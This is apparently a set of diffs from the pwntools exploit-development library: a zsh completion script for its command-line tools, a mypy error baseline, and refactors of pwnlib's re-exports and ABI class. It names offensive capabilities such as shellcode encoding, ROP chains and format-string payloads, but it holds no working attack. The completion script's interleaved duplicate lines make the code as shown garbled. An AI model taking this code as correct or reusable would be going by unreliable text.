checksec)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--file=[File to check (for compatibility with checksec.sh)]:' \
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--file[File to check]:ELF:_files' \
'*:ELF:_files'
;;
constgrep)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-e --exact)'{-e,--exact}'[Do an exact match for a constant instead of searching for a regex]' \
'(-i --case-insensitive)'{-i,--case-insensitive}'[Search case insensitive]' \
'(-m --mask-mode)'{-m,--mask-mode}'[Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.]' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'1:REGEX: ' \
'2:CONST: ' \
'*: :'
;;
cyclic)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-a --alphabet)'{-a,--alphabet}'=[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:' \
'(-n --length)'{-n,--length}'=[Size of the unique subsequences (defaults to 4).]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'=[Do a lookup instead printing the alphabet]:' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-a --alphabet)'{-a,--alphabet}'[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:ALPHABETS: ' \
'(-n --length)'{-n,--length}'[Size of the unique subsequences (defaults to 4)]:LENGTH: ' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'[Do a lookup instead printing the alphabet]:LOOKUP: ' \
'1:COUNT: ' \
'*: :'
;;
debug)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'-x=[Execute GDB commands from this file.]:' \
'--pid=[PID to attach to]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'--exec=[File to debug]:' \
'--process=[Name of the process to attach to (e.g. "bash")]:' \
'--sysroot=[GDB sysroot path]:' \
;;
'(-h --help)'{-h,--help}'[show help message and exit]' \
'-x[Execute GDB commands from this file]:GDBSCRIPT:_files' \
'--pid[PID to attach to]:PID: _comp_pid pid' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'--exec[File to debug]:EXE:_files' \
'--process[Name of the process to attach to (e.g. "bash")]:NAME: _comp_pid procs' \
'--sysroot[GDB sysroot path]:PATH:_files -/'
;;
disasm)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-a --address)'{-a,--address}'=[Base address]:' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-a --address)'{-a,--address}'[Base address]:ADDR: ' \
'--color[Color output]' \
'--no-color[Disable color output]' \
'*:HEX: '
;;
disablenx)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:ELF:_files'
;;
elfdiff)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ELF_A:_files' \
'2:ELF_B:_files' \
'*: :'
;;
elfpatch)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ELF:_files' \
'2:OFFSET: ' \
'3:PATCH: ' \
'*: :'
;;
errno)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ERROR:_comp_error' \
'*: :'
;;
hex)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-p --prefix)'{-p,--prefix}'[Insert a prefix before each byte]:PREFIX: ' \
'(-s --separator)'{-s,--separator}'[Add a separator between each byte]:SEPARATOR: ' \
'*:DATA: '
;;
libcdb)
local -a libc_cmds=(
'lookup:Lookup a libc version by function offsets'
'hash:Display information of a libc version given an unique hash'
'file:Dump information about a libc binary'
'fetch:Fetch libc database'
)
_arguments \
"1:LIBC_COMMAND: _describe 'libc command' libc_cmds" \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:: :->args'
if [[ $state != 'args' ]] {
return
}
case $words[1] {
(lookup)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
'--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
'--offline-only[Attempt to searching with offline only mode]' \
'*:SYMBOL_OFFSET_PAIRS: _message -r "SYMBOL_OFFSET_PAIRS Hint: read 3e0 write 520"'
;;
(hash)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-t --hash_type)'{-t,--hash_type}'[The type of the provided hash value]:HASH TYPE:(id buildid md5 sha1 sha256)' \
'(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
'--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
'--offline-only[Attempt to searching with offline only mode]' \
'*:HASH VALUE: '
;;
(file)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-s --symbols)'{-s,--symbols}'[List of symbol offsets to dump in addition to the common ones]:SYMBOLS: ' \
'(-o --offset)'{-o,--offset}'[Display all offsets relative to this symbol]:OFFSET: ' \
'--unstrip[Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server]' \
'*:FILE:_files'
;;
(fetch)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-u --update)'{-u,--update}'[Fetch the desired libc categories]:UPDATE: ' \
'1:PATH:_files' \
'*: :'
;;
}
;;
phd)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-w --width)'{-w,--width}'=[Number of bytes per line.]:' \
'(-l --highlight)'{-l,--highlight}'=[Byte to highlight.]:' \
'(-s --skip)'{-s,--skip}'=[Skip this many initial bytes.]:' \
'(-c --count)'{-c,--count}'=[Only show this many bytes.]:' \
'(-o --offset)'{-o,--offset}'=[Addresses in left hand column starts at this address.]:' \
'--color=[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY. Default is "auto".]:--color :(always never auto)' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-w --width)'{-w,--width}'[Number of bytes per line]:WIDTH INT: ' \
'(-l --highlight)'{-l,--highlight}'[Byte to highlight]:*^<->:HIGHLIGHTS INT: ' \
'(-s --skip)'{-s,--skip}'[Skip this many initial bytes]:SKIP INT: ' \
'(-c --count)'{-c,--count}'[Only show this many bytes]:COUNT INT: ' \
'(-o --offset)'{-o,--offset}'[Addresses in left hand column starts at this address]:OFFSET INT: ' \
'--color[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY; default is auto]:COLOR:(always never auto)' \
'1:FILE:_files' \
'*: :'
;;
pwnstrip)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
'(-p --patch)'{-p,--patch}'[Patch function]:FUNCTION:->funcs' \
'(-o --output)'{-o,--output}'[Output file]:OUTPUT:_files' \
'1:FILE:_files' \
'*: :'
if [[ $state == 'funcs' ]] {
_message "FUNCTION"
if [[ $#line -ne 0 ]] {
filename=$~line[1]
} elif [[ -f $~words[-1] ]] {
filename=$~words[-1]
} else {
return
}
_comp_funcs $filename
}
;;
scramble)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
'(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-f --format)'{-f,--format}'[Output format (defaults to hex for ttys, otherwise raw)]:FORMAT:(raw hex string elf)' \
'(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-p --alphanumeric)'{-p,--alphanumeric}'[Encode the shellcode with an alphanumeric encoder]' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
;;
shellcraft)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-? --show)'{-?,--show}'[Show shellcode documentation]' \
'(-o --out)'{-o,--out}'=[Output file (default: stdout)]:' \
'(-f --format)'{-f,--format}'=[Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string]:-f :(r raw s str string c h hex a asm assembly p i hexii e elf d escaped default)' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-? --show)'{-\?,--show}'[Show shellcode documentation]' \
'(-o --out)'{-o,--out}'[Output file (default: stdout)]:OUTPUT:_files' \
'(-f --format)'{-f,--format}'[Output format (default: hex)]:FORMAT:(e r s c h i a p d)' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
'--delim[Set the delimiter between multiple shellcodes]:DELIM: ' \
'(-b --before)'{-b,--before}'[Insert a debug trap before the code]' \
'(-a --after)'{-a,--after}'[Insert a debug trap after the code]' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-r --run)'{-r,--run}'[Run output]' \
'--color[Color output]' \
'--no-color[Disable color output]' \
'--syscalls[List syscalls]' \
'--address=[Load address]:' \
'--address[Load address]:ADDRESS: ' \
'(-l --list)'{-l,--list}'[List available shellcodes, optionally provide a filter]' \
'(-s --shared)'{-s,--shared}'[Generated ELF is a shared library]' \
'*:SHELLCODE: '
;;
template)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--host=[Remote host / SSH server]:' \
'--port=[Remote port / SSH port]:' \
'--user=[SSH Username]:' \
'(--pass --password)'{--pass,--password}'=[SSH Password]:' \
'--path=[Remote path of file on SSH server]:' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--host[Remote host / SSH server]:HOST:_ssh_hosts ' \
'--port[Remote port / SSH port]:PORT: ' \
'--user[SSH Username]:USER:_ssh_users' \
'(--pass --password)'{--pass,--password}'[SSH Password]:PASSWORD: ' \
'--libc[Path to libc binary to use. If not given, the current directory is searched for a libc binary]:LIBC_PATH:_files' \
'--path[Remote path of file on SSH server]:PATH:_files' \
'--quiet[Less verbose template comments]' \
'--color=[Print the output in color]:--color :(never always auto)' \
'--color[Print the output in color]:COLOR:(never always auto)' \
'--template[Path to a custom template]:TEMPLATE_PATH:_files' \
'--no-auto[Do not automatically detect missing binaries]' \
'1:EXE:_files' \
'*: :'
;;
unhex)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:HEX: '
;;
update)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--install[Install the update automatically.]' \
'--pre[Check for pre-releases.]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--install[Install the update automatically]' \
'--pre[Check for pre-releases]' \
;;
version)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
;;
esac
;;
esac
}
_pwn
_pwn
+70
View File
@@ -0,0 +1,70 @@
pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method [misc]
pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method [misc]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Argument 1 to "get" of "dict" has incompatible type "tuple[Literal[8, 16, 32, 64] | Any, int, Any | None]"; expected "tuple[int, int, int]" [arg-type]
pwnlib/util/packing.py:0: error: Name "_u8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/fiddling.py:0: error: Incompatible return value type (got "list[_OneT | int | _ZeroT]", expected "list[_ZeroT | _OneT] | list[int]") [return-value]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "list" matches argument type "tuple[Any, ...]" [operator]
pwnlib/util/fiddling.py:0: note: Possible overload variants:
pwnlib/util/fiddling.py:0: note: def __add__(self, list[Any], /) -> list[Any]
pwnlib/util/fiddling.py:0: note: def [_S] __add__(self, list[_S], /) -> list[_S | Any]
pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "tuple" matches argument type "list[Any]" [operator]
pwnlib/util/fiddling.py:0: note: def __add__(self, tuple[Any, ...], /) -> tuple[Any, ...]
pwnlib/util/fiddling.py:0: note: def [_T] __add__(self, tuple[_T, ...], /) -> tuple[Any | _T, ...]
pwnlib/util/fiddling.py:0: note: Both left and right operands are unions
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/sh_string.py:0: error: Argument 1 has incompatible type "*list[str | bytes | bytearray]"; expected "str | bytes" [arg-type]
pwnlib/util/proc.py:0: error: "sock" has no attribute "family" [attr-defined]
pwnlib/util/proc.py:0: error: "sock" has no attribute "type" [attr-defined]
pwnlib/util/proc.py:0: error: Argument 1 to "sock_match" has incompatible type "tuple[str, int]"; expected "addr" [arg-type]
pwnlib/util/proc.py:0: error: "None" has no attribute "pid" [attr-defined]
pwnlib/util/proc.py:0: error: Item "None" of "Process | None" has no attribute "pid" [union-attr]
pwnlib/util/proc.py:0: error: Module has no attribute "WinError" [attr-defined]
pwnlib/util/proc.py:0: error: Module has no attribute "get_last_error" [attr-defined]
pwnlib/util/proc.py:0: error: Module has no attribute "WinDLL" [attr-defined]
pwnlib/elf/elf.py:0: error: Need type annotation for "symbols" (hint: "symbols: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "got" (hint: "got: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "plt" (hint: "plt: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "functions" (hint: "functions: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Name "address" already defined on line 0 [no-redef]
pwnlib/encoders/encoder.py:0: error: Need type annotation for "blacklist" (hint: "blacklist: set[<type>] = ...") [var-annotated]
pwnlib/rop/call.py:0: error: Need type annotation for "args" (hint: "args: list[<type>] = ...") [var-annotated]
+3 -3
View File
@@ -1,13 +1,13 @@
# Promote useful stuff to toplevel
from __future__ import absolute_import
from pwn.toplevel import *
import pwnlib.update
pwnlib.args.initialize()
pwnlib.log.install_default_handler()
pwnlib.config.initialize()
args = pwnlib.args.args
# Replace the module with the actual args object so that `from pwn import args` works as expected.
args = pwnlib.args.args # type: ignore[assignment]
if not platform.architecture()[0].startswith('64'):
"""Determines if the current Python interpreter is supported by Pwntools.
+85 -84
View File
@@ -1,88 +1,20 @@
# Get all the modules from pwnlib
import collections
import logging
import math
import operator
import os
import platform
import re
import socks
import signal
import string
import struct
import subprocess
import sys
import tempfile
import threading
import time
from pprint import pprint
import pwnlib
from pwnlib import *
from pwnlib.asm import *
from pwnlib.context import Thread
from pwnlib.context import context, LocalContext
from pwnlib.dynelf import DynELF
from pwnlib.encoders import *
from pwnlib.elf.corefile import Core, Corefile, Coredump
from pwnlib.elf.elf import ELF, load
from pwnlib.encoders import *
from pwnlib.exception import PwnlibException
from pwnlib.gdb import attach, debug_assembly, debug_shellcode
from pwnlib.filepointer import *
from pwnlib.filesystem import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak, RelativeMemLeak
from pwnlib.regsort import *
from pwnlib.replacements import *
from pwnlib.rop import ROP
from pwnlib.rop.call import AppendedArgument
from pwnlib.rop.srop import SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
from pwnlib.runner import *
from pwnlib.term.readline import str_input
from pwnlib.timeout import Timeout
from pwnlib.tubes.listen import listen
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
from pwnlib.tubes.remote import remote, tcp, udp, connect
from pwnlib.tubes.serialtube import serialtube
from pwnlib.tubes.server import server
from pwnlib.tubes.ssh import ssh
from pwnlib.tubes.tube import tube
from pwnlib.ui import *
from pwnlib.util import crc
from pwnlib.util import iters
from pwnlib.util import net
from pwnlib.util import proc
from pwnlib.util import safeeval
from pwnlib.util.crc import BitPolynom
from pwnlib.util.cyclic import *
from pwnlib.util.fiddling import *
from pwnlib.util.getdents import *
from pwnlib.util.hashes import *
from pwnlib.util.lists import *
from pwnlib.util.misc import *
from pwnlib.util.packing import *
from pwnlib.util.proc import pidof
from pwnlib.util.sh_string import sh_string, sh_prepare, sh_command_with
from pwnlib.util.splash import *
from pwnlib.util.web import *
# Promote these modules, so that "from pwn import *" will let you access them
from six.moves import cPickle as pickle, cStringIO as StringIO
from six import BytesIO
log = getLogger("pwnlib.exploit")
error = log.error
warning = log.warning
warn = log.warning
info = log.info
debug = log.debug
success = log.success
import collections as collections
import logging as logging
import math as math
import operator as operator
import os as os
import platform as platform
import re as re
import socks as socks
import signal as signal
import string as string
import struct as struct
import subprocess as subprocess
import sys as sys
import tempfile as tempfile
import threading as threading
import time as time
try:
import colored_traceback
@@ -99,5 +31,74 @@ else:
# available on all platforms (e.g. Windows).
pass
from pprint import pprint as pprint
import pwnlib as pwnlib
from pwnlib import *
from pwnlib.asm import *
from pwnlib.context import Thread as Thread
from pwnlib.context import context as context, LocalContext as LocalContext
from pwnlib.dynelf import DynELF as DynELF
from pwnlib.encoders import *
from pwnlib.elf.corefile import Core as Core, Corefile as Corefile, Coredump as Coredump
from pwnlib.elf.elf import ELF as ELF, load as load
from pwnlib.encoders import *
from pwnlib.exception import PwnlibException as PwnlibException
from pwnlib.gdb import attach as attach, debug_assembly as debug_assembly, debug_shellcode as debug_shellcode
from pwnlib.filepointer import *
from pwnlib.filesystem import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr as FmtStr, fmtstr_payload as fmtstr_payload, fmtstr_split as fmtstr_split
from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak as MemLeak, RelativeMemLeak as RelativeMemLeak
from pwnlib.regsort import *
from pwnlib.replacements import *
from pwnlib.rop import ROP as ROP
from pwnlib.rop.call import AppendedArgument as AppendedArgument
from pwnlib.rop.srop import SigreturnFrame as SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload as Ret2dlresolvePayload
from pwnlib.runner import *
from pwnlib.term.readline import str_input as str_input
from pwnlib.timeout import Timeout as Timeout
from pwnlib.tubes.listen import listen as listen
from pwnlib.tubes.process import process as process, PTY as PTY, PIPE as PIPE, STDOUT as STDOUT
from pwnlib.tubes.remote import remote as remote, tcp as tcp, udp as udp, connect as connect
from pwnlib.tubes.serialtube import serialtube as serialtube
from pwnlib.tubes.server import server as server
from pwnlib.tubes.ssh import ssh as ssh
from pwnlib.tubes.tube import tube as tube
from pwnlib.ui import *
from pwnlib.util import crc as crc
from pwnlib.util import iters as iters
from pwnlib.util import net as net
from pwnlib.util import proc as proc
from pwnlib.util import safeeval as safeeval
from pwnlib.util.crc import BitPolynom as BitPolynom
from pwnlib.util.cyclic import *
from pwnlib.util.fiddling import *
from pwnlib.util.getdents import *
from pwnlib.util.hashes import *
from pwnlib.util.lists import *
from pwnlib.util.misc import *
from pwnlib.util.packing import *
from pwnlib.util.proc import pidof as pidof
from pwnlib.util.sh_string import sh_string as sh_string, sh_prepare as sh_prepare, sh_command_with as sh_command_with
from pwnlib.util.splash import *
from pwnlib.util.web import *
from pwnlib.libc import *
# Promote these modules, so that "from pwn import *" will let you access them
import pickle as pickle
from io import BytesIO as BytesIO, StringIO as StringIO
log = getLogger("pwnlib.exploit")
error = log.error
warning = log.warning
warn = log.warning
info = log.info
debug = log.debug
success = log.success
# Equivalence with the default behavior of "from import *"
# __all__ = [x for x in tuple(globals()) if not x.startswith('_')]
-1
View File
@@ -23,7 +23,6 @@ __all__ = [
'libcdb',
'log',
'memleak',
'pep237',
'regsort',
'replacements',
'rop',
+23 -14
View File
@@ -1,35 +1,34 @@
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from pwnlib.context import LocalContext
from pwnlib.context import context
class ABI(object):
class ABI:
"""
Encapsulates information about a calling convention.
"""
#: Register which points to the top of the stack.
stack: str
#: List or registers which should be filled with arguments before
#: spilling onto the stack.
register_arguments = []
register_arguments: list[str]
#: Minimum alignment of the stack.
#: The value used is min(context.bytes, stack_alignment)
#: This is necessary as Windows x64 frames must be 32-byte aligned.
#: "Alignment" is considered with respect to the last argument on the stack.
arg_alignment = 1
arg_alignment: int
#: Minimum number of stack slots used by a function call
#: This is necessary as Windows x64 requires using 4 slots on the stack
stack_minimum = 0
stack_minimum: int
#: Indicates that this ABI returns to the next address on the slot
returns = True
returns: bool = True
def __init__(self, stack, regs, align, minimum):
def __init__(self, stack, arg_regs, align, minimum):
self.stack = stack
self.register_arguments = regs
self.register_arguments = arg_regs
self.arg_alignment = align
self.stack_minimum = minimum
@@ -50,6 +49,7 @@ class ABI(object):
(64, 'powerpc', 'linux'): linux_ppc64,
(32, 'riscv32', 'linux'): linux_riscv32,
(64, 'riscv64', 'linux'): linux_riscv64,
(64, 'loongarch64', 'linux'): linux_loongarch64,
(32, 'i386', 'freebsd'): freebsd_i386,
(64, 'aarch64', 'freebsd'): freebsd_aarch64,
(64, 'amd64', 'freebsd'): freebsd_amd64,
@@ -77,18 +77,17 @@ class ABI(object):
(32, 'arm', 'linux'): linux_arm_syscall,
(32, 'thumb', 'linux'): linux_arm_syscall,
(32, 'mips', 'linux'): linux_mips_syscall,
(64, 'aarch64', 'linux'): linux_aarch64_syscall,
(32, 'powerpc', 'linux'): linux_ppc_syscall,
